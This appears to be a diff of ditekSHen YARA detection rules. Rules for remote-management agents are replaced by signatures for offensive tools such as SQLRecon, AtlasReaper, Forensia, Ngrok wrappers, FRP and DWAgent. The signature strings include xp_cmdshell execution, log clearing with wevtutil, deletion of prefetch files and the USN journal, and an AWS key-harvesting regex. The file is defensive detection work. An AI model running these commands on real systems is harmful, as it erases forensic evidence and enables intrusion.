 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Sqlrecon : FILE
 {
 	meta:
-		description = "Detects FleetDeck Commander. Review RMM Inventory"
+		description = "Detects SQLRecon C# MS-SQL toolkit designed for offensive reconnaissance and post-exploitation"
 		author = "ditekSHen"
-		id = "27d533b5-7a66-507e-8ef8-ad9a6cd39ab1"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L125-L143"
+		id = "ec91285b-690d-5fd3-b0fc-f8d72cbb7e15"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1420-L1436"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "feee888c6649af0d8e8b08a38dda0bf7970089cf064f58b8bd9c6ebd8378e094"
+		logic_hash = "784dbc518cf9492557c9b3536256c4a9b03e4536cf7cee7e764b8009dd4686bb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander"
 
 	strings:
-		$s1 = "Software\\Microsoft\\FleetDeck Commander" ascii
-		$s2 = "fleetdeck.io/prototype3/" ascii
-		$s3 = "fleetdeck_commander_launcher.exe" ascii
-		$s4 = "fleetdeck_commander_svc.exe" ascii
-		$s5 = "|FleetDeck Commander" ascii
-		$s6 = "c:\\agent\\_work\\66\\s\\" ascii
+		$s1 = "ConvertDLLToSQLBytes" ascii
+		$s2 = "\\SQLRecon.pdb" ascii
+		$s3 = "GetAllSQLServerInfo" ascii
+		$s4 = "<GetMSSQLSPNs>b__" ascii
+		$s5 = "select 1; exec master..xp_cmdshell" wide
+		$s6 = "-> Command Execution" wide
+		$s7 = ";EXEC dbo.sp_add_jobstep @job_name =" wide
+		$s8 = "EXEC sp_drop_trusted_assembly 0x" wide
+		$s9 = "(&(sAMAccountType=805306368)(servicePrincipalName=MSSQL*))" wide
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander_SVC : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Atlasreaper : FILE
 {
 	meta:
-		description = "Detects FleetDeck Commander SVC. Review RMM Inventory"
+		description = "Detects AtlasReaper command-line tool for Confluence and Jira reconnaissance, credential farming and social engineering"
 		author = "ditekSHen"
-		id = "c03b61b4-36d0-5d38-9af8-e78b9930231f"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L145-L162"
+		id = "a0b4e134-bb05-5cc3-af71-516a0407aa1b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1438-L1453"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "20bd69df3d058c24f83af312671cf249a3f26f54ef2e60f6b5b48a5bdb21b68b"
+		logic_hash = "4a0436d5c3f1609d23b2b919bebdc56a7fd63e81b99e72dcda1022487cb88240"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander-SVC"
 
 	strings:
-		$s1 = "fleetdeckfork/execfuncargs(" ascii
-		$s2 = "REG ADD HKEY_CLASSES_ROOT\\%s /V \"URL Protocol\" /T REG_SZ /F" ascii
-		$s3 = "proceed: *.fleetdeck.io" ascii
-		$s4 = "fleetdeck.io/prototype3/commander_svc" ascii
-		$s5 = "commanderupdate.fleetdeck.io" ascii
+		$s1 = "/((?:A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16})/" fullword wide
+		$s2 = "/rest/api/3/search?jql=" fullword wide
+		$s3 = "attachments+IS+NOT+EMPTY&fields=attachment,summary,status" fullword wide
+		$s4 = "<ParseJira>b__" ascii
+		$s5 = "<Atlas_Doc_Format>k__" ascii
+		$s6 = "<ParseConfluence>b__" ascii
+		$s7 = "AtlasReaper_ProcessedByFody" fullword ascii
+		$s8 = /AtlasReaper\.(Jira|Confluence)/ fullword ascii
 
 	condition:
 		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_Commander_Launcher : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Ngroksharp : FILE
 {
 	meta:
-		description = "Detects FleetDeck Commander Launcher. Review RMM Inventory"
+		description = "Detects NgrokSharp .NET library for Ngrok"
 		author = "ditekSHen"
-		id = "9a4a221e-7a7a-5008-b509-7f01e4a3eea6"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L164-L178"
+		id = "7c335021-4afd-5878-83c3-9bb2c81f3586"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1455-L1471"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9429f55f162eebc58a7a9af8706244438cb76b1f0987facbb52d29997ed48b95"
+		logic_hash = "c60637177114d369af9c3e96689811845ce1c1dfde8f7f971c4de21439564b4b"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.FleetDeckCommander-Launcher"
 
 	strings:
-		$s1 = "fleetdeck.io/prototype3/commander_launcher" ascii
-		$s2 = "FleetDeck Commander Launcher" ascii
+		$x1 = "NgrokSharp" fullword wide
+		$x2 = "/entvex/NgrokSharp" ascii
+		$s1 = "start --none -region" wide
+		$s2 = "startTunnelDto" fullword wide
+		$s3 = "/tunnels/" fullword wide
+		$s4 = "<StartNgrok" ascii
+		$s5 = "INgrokManager" ascii
+		$s6 = "_tunnel_name" ascii
+		$s7 = "_ngrokDownloadUrl" ascii
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 3 of ($s*)) or 4 of ($*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Fleetdeck_CERT : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Ngrokgo : FILE
 {
 	meta:
-		description = "Detects FleetDeck agent by (default) certificate. Review RMM Inventory"
+		description = "Detects Go implementation variant for Ngrok"
 		author = "ditekSHen"
-		id = "49a6b0bb-599a-54b0-85bc-b2f6849e3ae8"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L180-L198"
+		id = "b11f67c5-846d-57b2-8edc-521b2dc77503"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1473-L1488"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8f72713eb4a5d9d32629351b937eee7de5d83abe1cd409cd8c3a8c9c52e6e490"
+		logic_hash = "4ec151661e3af922aba202c68392a2af17e2c4ed25a71a0b5aacc13fbfcc5c53"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
+	strings:
+		$s1 = "/codegangsta/inject" fullword wide
+		$s2 = "go.ngrok.com/" ascii
+		$s3 = "GetIsNgrokDomain" ascii
+		$s4 = "GetNgrokMetering" ascii
+		$s5 = "*cli.ngrokService" ascii
+		$s6 = "GetAllowNgrokLink" ascii
+		$s7 = "ngrok {{.Name}}{{if .Flags}}" ascii
+		$s8 = "github.com/nikolay-ngrok/" ascii
+
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : ((pe.signatures[i].issuer contains "Sectigo Limited" or pe.signatures[i].issuer contains "COMODO CA Limited") and pe.signatures[i].subject contains "FleetDeck Inc")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Pdqconnect_Agent : FILE
+rule DITEKSHEN_INDICATOR_Tool_Forensia : FILE
 {
 	meta:
-		description = "Detects PDQ Connect Agent. Review RMM Inventory"
+		description = "Detects Forensia anti-forensics tool used for erasing footprints"
 		author = "ditekSHen"
-		id = "067e75a3-291b-500f-865d-8758eebe91e7"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L200-L227"
+		id = "bcd05c2e-7ddd-5ce7-a6a7-0659bed38744"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1490-L1523"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "34d0b07925551d1b08b86aa226c59aba569b6548cfa00a86ce6b1f271e427662"
+		logic_hash = "7147eee62df10cd8a6c00ec80c4d1bdb8234a181dd6af81d0580d847f05bd0b6"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 
 	strings:
-		$api1 = "/devices/register" ascii
-		$api2 = "/devices/socket/websocket?device_id=" ascii
-		$api3 = "/devices/tasks" ascii
-		$api4 = "/devices/auth-challenge" ascii
-		$api5 = "/devices/receiver/Url" ascii
-		$s1 = "sign_pdq.rs" ascii
-		$s2 = "x-pdq-dateCredential=(.+?)/" ascii
-		$s3 = "pdq-connect-agent" ascii
-		$s4 = "PDQ Connect Agent" ascii
-		$s5 = "PDQConnectAgent" ascii
-		$s6 = "PDQConnectAgentsrc\\logger.rs" ascii
-		$s7 = "-PDQ-Key-IdsUser-Agent" ascii
-		$s8 = "\\PDQ\\PDQConnectAgent\\" ascii
-		$s9 = "\\pdq_connect_agent.pdb" ascii
-		$s10 = "task_ids[]PDQ rover" ascii
-		$s11 = "https://app.pdq.com/" ascii
+		$c1 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" ascii
+		$c2 = "del /F /Q C:\\Windows\\Prefetch\\*" ascii
+		$c3 = "del C:\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" ascii
+		$c4 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\*" ascii
+		$c5 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" ascii
+		$c6 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" ascii
+		$c7 = "fsutil.exe usn deletejournal /D C:" ascii
+		$r1 = "\\Memory Management\\PrefetchParameters" wide
+		$r2 = "\\Explorer\\Advanced" wide
+		$r3 = "\\Services\\EventLog" wide
+		$r4 = "\\Shell\\BagMRU" wide
+		$r5 = "\\Control\\FileSystem" wide
+		$r6 = "\\Setup\\VC" wide
+		$s1 = "[LOG] - %s" wide
+		$s2 = "\\forensia\\regedit.hpp" wide
+		$s3 = "NtfsDisableLastAccessUpdate" wide
+		$s4 = "Melting The Executable" wide
+		$s5 = "Sysmon Unloader" wide
+		$s6 = "Rundll32.exe apphelp.dll,ShimFlushCache" ascii
+		$s7 = "\\Debug\\forensia.pdb" ascii
+		$s8 = { 55 00 00 00 aa 00 00 00 92 49 24 00 49 24 92 00
+                24 92 49 00 00 00 00 00 11 00 00 00 22 00 00 00
+                33 00 00 00 44 00 00 00 66 00 00 00 88 00 00 00
+                99 00 00 00 bb 00 00 00 cc 00 00 00 dd 00 00 00
+                ee 00 00 00 ff 00 00 00 6d b6 db 00 b6 db 6d 00
+                db 6d b6 }
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0xcfd0) and (4 of ($s*) or (3 of ($api*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and ((4 of ($c*) and 2 of ($r*)) or (4 of ($r*) and 2 of ($c*)) or 6 of ($s*) or (3 of ($s*) and 2 of ($r*) and 1 of ($c*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Pdqconnect_Agent_CERT : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Dwagentlib : FILE
 {
 	meta:
-		description = "Detects PDQ Connect Agent by (default) certificate. Review RMM Inventory"
+		description = "Detect DWAgent Remote Administration Tool library"
 		author = "ditekSHen"
-		id = "7e830cf0-8f47-5b38-85cd-9777a6878cf1"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L229-L243"
+		id = "af0f9940-fbec-5775-9b74-bd73b55ec0ca"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1525-L1539"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "373a32b8bfd8c4295ba0c0302a217ccfbb7c7c616f91035097adbc5384b8afdb"
+		logic_hash = "608dd9bc8cfcec5a671bee9456dccedace31d7ae37180387ac2408f79fd9f452"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
+	strings:
+		$s1 = "DWAgentLib" fullword wide
+		$s2 = "PYTHONHOME" fullword wide
+		$s3 = "isTaskRunning" fullword ascii
+		$s4 = "isUserInAdminGroup" fullword ascii
+		$s5 = "setFilePermissionEveryone" fullword ascii
+		$s6 = "startProcessInActiveConsole" fullword ascii
+		$s7 = "taskKill" fullword ascii
+
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert, Inc." and pe.signatures[i].subject contains "PDQ.com Corporation")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Pulseway_Pcmontasksrv : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Dwagentsvc : FILE
 {
 	meta:
-		description = "Detects Pulseway pcmontask and service user agent responsible for Remote Control, Screens View, Computer Lock, etc"
+		description = "Detect DWAgent Remote Administration Tool service"
 		author = "ditekSHen"
-		id = "83901679-ffff-5710-b472-ece592e6764f"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L245-L266"
+		id = "5d124c20-a0f8-5e82-8bab-93a782a2a649"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1541-L1553"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "80ba217960dd1ddeb220545c1cccbe96d9b676d327364e1ca8a9dde2b059261f"
+		logic_hash = "590d41d2e433a7a1bb373fbd0b0d47818a9867bee0399101881b05e83b586f6e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.PulseWay"
 
 	strings:
-		$s1 = "MM.Monitor." ascii
-		$s2 = "RDAgentSessionSettingsV" ascii
-		$s3 = "CheckForMacOSRemoteDesktopUpdateCompletedEvent" ascii
-		$s4 = "ConfirmAgentStarted" ascii
-		$s5 = "GetScreenshot" ascii
-		$s6 = "UnloadRemoteDesktopDlls" ascii
-		$s7 = "CtrlAltDeleteProc" ascii
-		$s8 = "$7cfc3b88-6dc4-49fc-9f0a-bf9e9113a14d" ascii
-		$s9 = "computermonitor.mmsoft.ro" ascii
+		$s1 = "\\native\\dwagupd.dll" wide
+		$s2 = "\\native\\dwagsvc.exe\" run" wide
+		$s3 = "CreateServiceW" fullword ascii
+		$s4 = /dwagent\.(pid|start|stop)/ wide
+		$s5 = "Check updating..." wide
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0xcfd0) and 7 of them
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Pulseway_Remotedesktop : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Dwagent_Screencapture : FILE
 {
 	meta:
-		description = "Detects Pulseway Rempte Desktop client"
+		description = "Detect DWAgent Remote Administration Tool Screen Capture Module"
 		author = "ditekSHen"
-		id = "8bca3cef-b24f-597a-a6e2-86040ed726f4"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L268-L286"
+		id = "79586e5e-b7e5-5adc-97f3-0d29ad695079"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1555-L1575"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a542c11f21ab48f4da69df4e7cb46531658a714687e2c2f8ccf78dc2a0338b68"
+		logic_hash = "d3160fd4cce445aa6d2bc6c083893c7610ea5e72824fe9824ad853700f4d3874"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.PulseWay"
 
 	strings:
-		$s1 = "RemoteControl" ascii
-		$s2 = "MM.Monitor.RemoteDesktopClient." ascii
-		$s3 = "MM.Monitor.RemoteControl" ascii
-		$s4 = "RemoteDesktopClientUpdateInfo" ascii
-		$s5 = "ShowRemoteDesktopEnabledSystemsOnly" ascii
-		$s6 = "$31f50968-d45c-49d6-ace9-ebc790855a51" ascii
+		$s1 = "DWAgentLib" fullword wide
+		$s2 = "PYTHONHOME" wide
+		$s3 = "VirtualBox" wide
+		$s4 = "VMware" wide
+		$s5 = "ScreenCapture::prepareCursor#" ascii
+		$s6 = "ScreenCapture::getMonitorCount#" ascii
+		$s7 = "ScreenCapture::token" ascii
+		$s8 = "dwascreencapture" ascii
+		$s9 = "inputKeyboard CTRLALTCANC" ascii
+		$s10 = "_Z34ScreenCaptureNativeMonitorEnumProc" ascii
+		$s11 = "_Z41ScreenCaptureNativeCreateWindowThreadProc" ascii
+		$s12 = "_ZN13ScreenCapture" ascii
+		$s13 = "isUserInAdminGroup" ascii
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0xcfd0) and 5 of them
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Pulseway_CERT : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Dwagent_Soundcapture : FILE
 {
 	meta:
-		description = "Detects PulseWay by (default) certificate. Review RMM Inventory"
+		description = "Detect DWAgent Remote Administration Tool Sound Capture Module"
 		author = "ditekSHen"
-		id = "e00f51dc-261e-5a38-89ed-1899d9b522d4"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L288-L302"
+		id = "4e395d1e-96a1-5ecc-abe5-6f8323a2c8ca"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1577-L1587"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c667caa9b7de4b166630c66e5162071948fa93c68b1cdb3038fce28e13dcb1a9"
+		logic_hash = "c0efa9f383373dec1c5b9d127c2b4c6f4906718ae8f62eea28d7a369001be5af"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
+	strings:
+		$s1 = "DWASoundCapture" ascii
+		$s2 = /_Z\d{2}DWASoundCapture/ ascii
+		$s3 = "_Z6recordPvS_" ascii
+
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert, Inc." and pe.signatures[i].subject contains "MMSOFT Design Ltd.")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Manageengine_Zohomeeting : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Dogzproxy : FILE
 {
 	meta:
-		description = "Detects ManageEngine Zoho Meeting (dc_rds.exe)"
+		description = "Detects Dogz proxy tool"
 		author = "ditekSHen"
-		id = "b15efdd1-323c-5ed6-894d-b44f04d2eaf3"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L304-L324"
+		id = "de2a8d26-0e8e-5999-baca-1e43933af866"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1589-L1601"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8066bcd17245efcc73f2bef7f022ad23ab648fe0ad15ca66c0d387ce4eda998b"
+		logic_hash = "575cfed9cb7979216fd8fd2a05efe5dfece3a9120b4f185c015918337829ed63"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.ManageEngine-ZohoMeeting"
 
 	strings:
-		$s1 = "bin\\ClientAuthHandler.dll" wide
-		$s2 = "AgentHook.dll" wide
-		$s3 = "UEMS - Remote Control" wide
-		$s4 = "Install hook...." wide
-		$s5 = "india.adventnet.com/meet.sas?k=" ascii
-		$s6 = "dcTcpSocket::" ascii
-		$s7 = "%s/%s?clientId=%s&sessionId=%s&clientName=%s&ticket=%s&connectionId=%s" ascii
-		$s8 = ".\\engines\\ccgost\\gost_" ascii
+		$s1 = "LOGONSERVER=" fullword wide
+		$s2 = "DOGZ_E_" ascii
+		$s3 = "got handshake_id=%d" ascii
+		$s4 = "responser send connect ack" ascii
+		$s5 = "dogz " ascii
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Atera : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Fastreverseproxy : FILE
 {
 	meta:
-		description = "Detects Atera. Review RMM Inventory"
+		description = "Detects Fast Reverse Proxy (FRP) tool"
 		author = "ditekSHen"
-		id = "9801f5c9-bc1e-5502-8bca-ee1f5ca0f497"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L345-L366"
+		id = "d643cc38-a96c-5353-bb46-ca46ea740e3b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1603-L1619"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dbc37a941b38d36ea9bc31880c3cba6cd2b88b534583e86741f7686fcb410235"
+		logic_hash = "c26d9e8833c7055a03a446eb983c7f70f1f18669d009ebc204dda3f0bb6048f7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.Atera"
 
 	strings:
-		$s1 = "SOFTWARE\\ATERA Networks\\AlphaAgent" wide
-		$s2 = "Monitoring & Management Agent by ATERA" ascii wide
-		$s3 = "agent-api-{0}.atera.com" wide
-		$s4 = "agent-api.atera.com" wide
-		$s5 = "acontrol.atera.com" wide
-		$s6 = /Agent\/(PingReply|GetCommandsFallback|GetCommands|GetTime|GetEnvironmentStatus|GetRecurringPackages|AgentStarting|AcknowledgeCommands)/ wide
-		$s7 = "\\AlphaControlAgent\\obj\\Release\\AteraAgent.pdb" ascii
-		$s8 = "AteraWebAddress" ascii
-		$s9 = "AlphaControlAgent.CloudLogsManager+<>" ascii
+		$x1 = "<title>frp client admin UI</title>" ascii
+		$x2 = "https://github.com/fatedier/frp" ascii
+		$s1 = ").SetLogin" ascii
+		$s2 = ").SetPing" ascii
+		$s3 = ").SetNewWorkConn" ascii
+		$s4 = ").ServeHTTP" ascii
+		$s5 = ").Middleware" ascii
+		$s6 = "frpc proxy config error:" ascii
+		$s7 = "frpc sudp visitor proxy is close" ascii
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 4 of ($s*)) or ( all of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Atera_CERT : FILE
+rule DITEKSHEN_INDICATOR_TOOL_Gogoscan : FILE
 {
 	meta:
-		description = "Detects Atera by certificate. Review RMM Inventory"
+		description = "Detects GoGo scan tool"
 		author = "ditekSHen"
-		id = "a5ccb684-1e28-51c8-a4d6-0b5abba97de0"
-		date = "2023-11-16"
-		modified = "2023-11-16"
-		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L368-L383"
+		id = "c24ede04-2971-55f8-8b60-ec3bdca844d7"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1621-L1635"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f51fef767cd529271f06d578146634e1ab5ee5ac3ffb829cbaa870e7c69ca3f6"
+		logic_hash = "c9fbc98a28c74bf920f5f7d62713834d18b33b5c65483a1bd42e4555764c8346"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav1 = "INDICATOR.Win.RMM.Atera"
+
+	strings:
+		$s1 = "(conn) (scan  (scan) MB in  Value>" ascii
+		$s2 = "sweep sysmontargettelnet" ascii
+		$s3 = "%d bytes(?i) (.*SESS.*?ID)([a-z0-9])([A-Z]+)" ascii
+		$s4 = "prepareForSweep" ascii
+		$s5 = "Scanned %s with %d ports, found %d" ascii
+		$s6 = "/chainreactors/gogo/" ascii
+		$s7 = "Starting task %s ,total ports: %d , mod: %s" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert" and pe.signatures[i].subject contains "Atera Networks Ltd")
+		uint16(0)==0x5a4d and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_RMM_Splashtopstreamer : FILE
